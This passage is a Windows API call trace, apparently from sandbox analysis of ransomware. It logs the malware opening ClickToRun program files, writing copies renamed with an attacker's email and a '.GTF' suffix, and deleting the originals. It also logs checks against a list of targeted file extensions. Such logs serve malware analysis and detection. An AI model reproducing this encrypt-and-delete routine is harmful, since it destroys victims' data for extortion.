	[0086.113] WriteFile (in: hFile=0x384, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0086.113] SetEndOfFile (hFile=0x384) returned 1
	[0086.113] CloseHandle (hObject=0x384) returned 1
	[0086.113] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.113] SetEndOfFile (hFile=0x39c) returned 1
	[0086.118] CloseHandle (hObject=0x39c) returned 1
	[0086.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0086.118] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 1
	[0086.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0086.118] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0086.118] lstrlenW (lpString=".doc") returned 4
	[0086.118] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.118] lstrlenW (lpString=".docx") returned 5
	[0086.118] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0086.118] lstrlenW (lpString=".pdf") returned 4
	[0086.118] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.118] lstrlenW (lpString=".xls") returned 4
	[0086.118] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.118] lstrlenW (lpString=".xlsx") returned 5
	[0086.118] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0086.118] lstrlenW (lpString=".ppt") returned 4
	[0086.118] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0086.119] lstrlenW (lpString=".zip") returned 4
	[0086.119] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.119] lstrlenW (lpString=".rar") returned 4
	[0086.119] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.119] lstrlenW (lpString=".bz2") returned 4
	[0086.119] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.119] lstrlenW (lpString=".7z") returned 3
	[0086.119] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0086.119] lstrlenW (lpString=".dbf") returned 4
	[0086.119] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0086.119] lstrlenW (lpString=".1cd") returned 4
	[0086.119] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0086.119] lstrlenW (lpString=".jpg") returned 4
	[0086.119] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0086.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0086.119] lstrlenW (lpString=".doc") returned 4
	[0086.119] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0086.119] lstrlenW (lpString=".docx") returned 5
	[0086.119] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0086.119] lstrlenW (lpString=".pdf") returned 4
	[0086.119] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0086.119] lstrlenW (lpString=".xls") returned 4
	[0086.119] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0086.119] lstrlenW (lpString=".xlsx") returned 5
	[0086.119] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0086.119] lstrlenW (lpString=".ppt") returned 4
	[0086.119] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0086.119] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0086.119] lstrlenW (lpString=".zip") returned 4
	[0086.119] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0086.119] lstrlenW (lpString=".rar") returned 4
	[0086.120] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0086.120] lstrlenW (lpString=".bz2") returned 4
	[0086.120] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0086.120] lstrlenW (lpString=".7z") returned 3
	[0086.120] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0086.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0086.120] lstrlenW (lpString=".dbf") returned 4
	[0086.120] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0086.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0086.120] lstrlenW (lpString=".1cd") returned 4
	[0086.120] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0086.120] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0086.120] lstrlenW (lpString=".jpg") returned 4
	[0086.120] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0086.120] lstrcmpiW (lpString1=".exe", lpString2=".GTF") returned -1
	[0086.120] lstrlenW (lpString="AppVShNotify.exe") returned 16
	[0086.120] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0086.120] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=263896) returned 1
	[0086.120] CloseHandle (hObject=0x39c) returned 1
	[0086.121] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 0x20
	[0086.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0086.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0086.599] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.599] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0086.600] GetLastError () returned 0x0
	[0086.600] ReadFile (in: hFile=0x370, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x406d8, lpOverlapped=0x0) returned 1
	[0086.607] WriteFile (in: hFile=0x388, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x406e0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x406e0, lpOverlapped=0x0) returned 1
	[0086.612] ReadFile (in: hFile=0x370, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0086.613] WriteFile (in: hFile=0x388, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0086.613] SetEndOfFile (hFile=0x388) returned 1
	[0086.613] CloseHandle (hObject=0x388) returned 1
	[0086.613] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.613] SetEndOfFile (hFile=0x370) returned 1
	[0086.616] CloseHandle (hObject=0x370) returned 1
	[0086.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0086.616] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 1
	[0086.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.616] lstrlenW (lpString=".doc") returned 4
	[0086.616] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0086.616] lstrlenW (lpString=".docx") returned 5
	[0086.617] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1
	[0086.617] lstrlenW (lpString=".pdf") returned 4
	[0086.617] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0086.617] lstrlenW (lpString=".xls") returned 4
	[0086.617] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0086.617] lstrlenW (lpString=".xlsx") returned 5
	[0086.617] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1
	[0086.617] lstrlenW (lpString=".ppt") returned 4
	[0086.617] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0086.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.617] lstrlenW (lpString=".zip") returned 4
	[0086.617] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0086.617] lstrlenW (lpString=".rar") returned 4
	[0086.617] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0086.617] lstrlenW (lpString=".bz2") returned 4
	[0086.617] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0086.617] lstrlenW (lpString=".7z") returned 3
	[0086.617] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0086.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.617] lstrlenW (lpString=".dbf") returned 4
	[0086.617] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0086.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.617] lstrlenW (lpString=".1cd") returned 4
	[0086.617] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0086.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.617] lstrlenW (lpString=".jpg") returned 4
	[0086.617] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0086.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.617] lstrlenW (lpString=".doc") returned 4
	[0086.617] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0086.617] lstrlenW (lpString=".docx") returned 5
	[0086.617] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1
	[0086.617] lstrlenW (lpString=".pdf") returned 4
	[0086.617] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0086.617] lstrlenW (lpString=".xls") returned 4
	[0086.618] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0086.618] lstrlenW (lpString=".xlsx") returned 5
	[0086.618] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1
	[0086.618] lstrlenW (lpString=".ppt") returned 4
	[0086.618] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0086.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.618] lstrlenW (lpString=".zip") returned 4
	[0086.618] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0086.618] lstrlenW (lpString=".rar") returned 4
	[0086.618] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0086.618] lstrlenW (lpString=".bz2") returned 4
	[0086.618] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0086.618] lstrlenW (lpString=".7z") returned 3
	[0086.618] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0086.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.618] lstrlenW (lpString=".dbf") returned 4
	[0086.618] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0086.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.618] lstrlenW (lpString=".1cd") returned 4
	[0086.618] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0086.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74
	[0086.618] lstrlenW (lpString=".jpg") returned 4
	[0086.618] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0086.618] lstrcmpiW (lpString1=".dll", lpString2=".GTF") returned -1
	[0086.618] lstrlenW (lpString="C2R64.dll") returned 9
	[0086.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0087.105] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=1208928) returned 1
	[0087.105] CloseHandle (hObject=0x360) returned 1
	[0087.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 0x20
	[0087.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.106] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0087.106] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.106] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.106] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0087.106] GetLastError () returned 0x0
	[0087.106] ReadFile (in: hFile=0x360, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0087.135] WriteFile (in: hFile=0x340, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0087.637] ReadFile (in: hFile=0x360, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x27270, lpOverlapped=0x0) returned 1
	[0087.655] WriteFile (in: hFile=0x340, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x27280, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x27280, lpOverlapped=0x0) returned 1
	[0087.661] ReadFile (in: hFile=0x360, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.661] WriteFile (in: hFile=0x340, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0087.661] SetEndOfFile (hFile=0x340) returned 1
	[0087.661] CloseHandle (hObject=0x340) returned 1
	[0087.661] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.661] SetEndOfFile (hFile=0x360) returned 1
	[0087.663] CloseHandle (hObject=0x360) returned 1
	[0087.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0087.663] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 1
	[0087.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0087.663] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0087.664] lstrlenW (lpString=".doc") returned 4
	[0087.664] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.664] lstrlenW (lpString=".docx") returned 5
	[0087.664] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0087.664] lstrlenW (lpString=".pdf") returned 4
	[0087.664] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.664] lstrlenW (lpString=".xls") returned 4
	[0087.664] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.664] lstrlenW (lpString=".xlsx") returned 5
	[0087.664] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0087.664] lstrlenW (lpString=".ppt") returned 4
	[0087.664] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0087.664] lstrlenW (lpString=".zip") returned 4
	[0087.664] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.664] lstrlenW (lpString=".rar") returned 4
	[0087.664] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.664] lstrlenW (lpString=".bz2") returned 4
	[0087.664] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.664] lstrlenW (lpString=".7z") returned 3
	[0087.664] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0087.664] lstrlenW (lpString=".dbf") returned 4
	[0087.664] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0087.664] lstrlenW (lpString=".1cd") returned 4
	[0087.664] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0087.664] lstrlenW (lpString=".jpg") returned 4
	[0087.664] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0087.664] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0087.664] lstrlenW (lpString=".doc") returned 4
	[0087.664] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.664] lstrlenW (lpString=".docx") returned 5
	[0087.664] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0087.665] lstrlenW (lpString=".pdf") returned 4
	[0087.665] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.665] lstrlenW (lpString=".xls") returned 4
	[0087.665] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.665] lstrlenW (lpString=".xlsx") returned 5
	[0087.665] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0087.665] lstrlenW (lpString=".ppt") returned 4
	[0087.665] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0087.665] lstrlenW (lpString=".zip") returned 4
	[0087.665] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.665] lstrlenW (lpString=".rar") returned 4
	[0087.665] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.665] lstrlenW (lpString=".bz2") returned 4
	[0087.665] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.665] lstrlenW (lpString=".7z") returned 3
	[0087.665] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0087.665] lstrlenW (lpString=".dbf") returned 4
	[0087.665] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0087.665] lstrlenW (lpString=".1cd") returned 4
	[0087.665] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.665] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned 67
	[0087.665] lstrlenW (lpString=".jpg") returned 4
	[0087.665] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.665] lstrcmpiW (lpString1=".exe", lpString2=".GTF") returned -1
	[0087.665] lstrlenW (lpString="MavInject32.exe") returned 15
	[0087.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0087.666] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=358616) returned 1
	[0087.666] CloseHandle (hObject=0x360) returned 1
	[0087.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 0x20
	[0087.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0087.666] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0087.667] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.667] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0087.667] GetLastError () returned 0x0
	[0087.667] ReadFile (in: hFile=0x360, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x578d8, lpOverlapped=0x0) returned 1
	[0087.688] WriteFile (in: hFile=0x340, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x578e0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x578e0, lpOverlapped=0x0) returned 1
	[0087.695] ReadFile (in: hFile=0x360, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
